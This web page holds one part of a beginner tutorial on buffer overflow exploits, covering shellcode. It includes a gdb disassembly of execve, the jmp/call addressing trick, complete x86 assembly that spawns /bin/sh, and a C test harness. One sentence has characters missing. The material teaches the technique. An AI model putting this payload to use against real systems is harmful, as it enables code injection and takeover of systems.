Home arrow Coding vulnerability arrow Writing Buffer Overflow Exploits - a Tutorial for Beginners

Language Translator

Hacking Zone

Hacking Tools
Attacking

Configure Windows

Windows Configuration

Novels

Mix Novels

Human Personality

Body Language
Writing Buffer Overflow Exploits - a Tutorial for Beginners PDF Print E-mail
Written by Hemanshu Patel   
Friday, 19 October 2007
Article Index
Writing Buffer Overflow Exploits - a Tutorial for Beginners
Page 2
Page 3
Page 4
Page 5

4. Shellcode

To keep it simple, shellcode is simply assembler commands, which we write on the stack and then change the return address to return to the stack. Using this method, we can insert code into a vulnerable process and then execute it right on the stack.

So, let us generate insertable assembler code to run a shell. A common system call is execve(), which loads and runs any binary, terminating execution of the current process. The manpage gives us the usage:

int execve (const char *filename, char *const argv [], char *const envp[]);

Let us get the details of the system call from glibc2:

# gdb /lib/libc.so.6

(gdb) disas execve

Dump of assembler code for function execve:

0x5da00 <execve>: pushl %ebx

/* this is the actual syscall. before a program would call execve, it would

push the arguments in reverse order on the stack: **envp, **argv, *filename */

/* put address of **envp into edx register */

0x5da01 <execve+1>: movl 0x10(%esp,1),%edx

/* put address of **argv into ecx register */

0x5da05 <execve+5>: movl 0xc(%esp,1),%ecx

/* put address of *filename into ebx register */

0x5da09 <execve+9>: movl 0x8(%esp,1),%ebx

/* put 0xb in eax register; 0xb == execve in the internal system call table */

0x5da0d <execve+13>: movl $0xb,%eax

/* give control to kernel, to execute execve instruction */

0x5da12 <execve+18>: int $0x80

0x5da14 <execve+20>: popl %ebx

0x5da15 <execve+21>: cmpl $0xfffff001,%eax

0x5da1a <execve+26>: jae 0x5da1d <__syscall_error>

0x5da1c <execve+28>: ret

End of assembler dump.

4a. Making the code portable

We have to apply a trick to be able to make shellcode without having to reference the arguments in memory the conventional way, by giving their exact address on the memory page, which can only be done at compile time.

Once we can estimate the size of the shellcode, we can use the instructions jmp <bytes> and call to go a specified number of bytes back or forth in the execution thread. Why use a call? We have the opportunity that a CALL will automatically store the return address on the stack, the return address being the next 4 bytes after the CALL instruction. By placing a variable right behind the call, we indirectly push its address on the stack without having to know it.

0 jmp <Z> (skip Z bytes forward)

2 popl %esi

... put function(s) here ...

Z call <-Z+2> (skip 2 less than Z bytes backward, to POPL)

Z+5 .string (first variable)

(Note: If you are going to write code more complex than for spawning a simple shell, you can put more than one .string behind the code. You know the size of those strings and can therefore calculate their relative locations once you know where the first string is located.)

4b. The shellcode

global code_start /* we'll need this later, do not mind it */

global code_end

.data

code_start:

jmp 0x17

popl %esi

movl %esi,0x8(%esi) /* put address of **argv behind shellcode,

0x8 bytes behind it so a /bin/sh has place */

xorl %eax,%eax /* put 0 in %eax */

movb %eax,0x7(%esi) /* put terminating 0 after /bin/sh string */

movl %eax,0xc(%esi) /* another 0 to get the size of a long word */

my_execve:

movb $0xb,%al /* execve( */

movl %esi,%ebx /* "/bin/sh", */

leal 0x8(%esi),%ecx /* & of "/bin/sh", */

xorl %edx,%edx /* NULL */

int $0x80 /* ); */

call -0x1c

.string "/bin/shX" /* X is overwritten by movb %eax,0x7(%esi) */

code_end:

(The relative offsets 0x17 and -0x1c can be gained by putting in 0x0, compiling, disassembling, and then looking at the shell codes size.)

This is already working shellcode, though minimal. You should at least disassemble the exit() syscall and attach it (before the 'call'). The real art of making shellcode also consists of avoiding any binary zeroes in the code (indicates end of input/buffer very often) and modify it for example, so the binary code does not contain control or lower characters, which would get filtered out by some vulnerable programs.

Most of this stuff is done by self-modifying code, as we had in the movb %eax,0x7(%esi) instruction. We replaced the X with , but without having a in the shellcode initially...

Let us test this code... save the above code as code.S (remove comments) and the following file as code.c:

extern void code_start();

extern void code_end();

#include <stdio.h>

main() { ((void (*)(void)) code_start)(); }

# cc -o code code.S code.c

# ./code

bash#

You can now convert the shellcode to a hex char buffer.

Best way to do this is, print it out:

#include <stdio.h>

extern void code_start(); extern void code_end();

main() { fprintf(stderr,"%s",code_start); }

and parse it through aconv -h or bin2c.pl, those tools can be found at:

http://www.dec.net/~dhg or http://members.tripod.com/mixtersecurity.



 
Next >
Your Ad Here

Donate us!!

Enter Amount:

RSS socialnet

Add to MyYahoo!
Subscribe in NewsGator Online
Add to Newsburst
Add to Google
Add to My AOL
Add to Pluck
Subscribe in FeedLounge
Add to Windows Live
Add to NetVibes
Subscribe in Rojo
Subscribe in Bloglines
Add to MyMSN
Add to Plusmo for your cellphone
Add to PageFlakes
Add to Technorati
Add to BlinkBits